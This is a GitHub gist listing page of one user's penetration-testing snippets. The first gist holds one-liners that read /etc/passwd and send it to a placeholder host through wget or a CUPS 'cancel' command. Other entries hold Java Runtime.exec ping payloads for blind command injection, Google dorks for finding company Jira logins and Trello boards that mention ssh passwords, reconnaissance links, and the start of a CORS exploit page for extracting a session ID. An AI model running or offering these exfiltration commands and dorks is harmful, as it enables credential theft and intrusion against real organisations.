Skip to content

Instantly share code, notes, and snippets.

View trackscorer's full-sized avatar

trackscorer

3 followers · 9 following
View GitHub Profile
@trackscorer
trackscorer / wget usage
Last active January 3, 2019 06:29
wget http://a.b.c.d:port/$(cat /etc/passwd)
cancel -u "$(cat /etc/passwd)" -h ip:port
@trackscorer
trackscorer / runtime.exec()
Created September 13, 2018 08:25
Runtime.getRuntime().exec("cmd.exe /c ping a.b.c.d")
Runtime.getRuntime().exec(new String[]{"/bin/sh","-c","ping a.b.c.d"})
@trackscorer
trackscorer / tcpdump
Created September 13, 2018 08:26
tcpdump -i venet0 host a.b.c.d -vv -w aa.pcap
@trackscorer
trackscorer / java deserialize http post
Created September 13, 2018 10:14
import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.net.HttpURLConnection;
import java.net.URL;
import org.apache.commons.io.IOUtils;
import org.apache.commons.lang.StringUtils;
@trackscorer
trackscorer / Subdomain collect
Last active December 12, 2018 06:30
https://findsubdomains.com
https://crt.sh/
https://www.virustotal.com
https://subfinder-v2.appspot.com/
https://dnsdumpster.com/
https://community.riskiq.com/login
https://who.is/
http://www.sameip.org/
https://asm.ca.com/en/ping.php
@trackscorer
trackscorer / DNS set
Last active September 20, 2018 03:33
wmic nic get netconnectionid
netsh
interface ip set dns name="以太网" source="static" address="8.8.8.8"
interface ip set dns name="以太网" source="static" address="10.0.0.0"
@trackscorer
trackscorer / DNS Rebind
Last active September 20, 2018 03:39
https://lock.cmpxchg8b.com/rebinder.html
ref:
https://bugs.chromium.org/p/project-zero/issues/detail?id=1447
https://bugs.chromium.org/p/project-zero/issues/detail?id=1471&desc=3
@trackscorer
trackscorer / port
Created September 21, 2018 06:50
--port 80,81,443,7001,8080,8008,8443,8888,3389,1433,3306,1521,6379,21,8081
@trackscorer
trackscorer / google query
Last active February 25, 2019 06:33
inurl:jira AND intitle:login AND inurl:[company_name]
inurl:https://trello.com AND intext:[company_name]
inurl:https://trello.com AND intext:ssh AND intext:password
site:*.domain.com file type: php
@trackscorer
trackscorer / CORS Exploit
Created September 29, 2018 03:49
<!DOCTYPE html>
<html>
<body>
<center>
<h2>CORS POC Exploit</h2>
<h3>Extract SID</h3>
<div id="demo">
<button type="button" onclick="cors()">Exploit</button>
</div>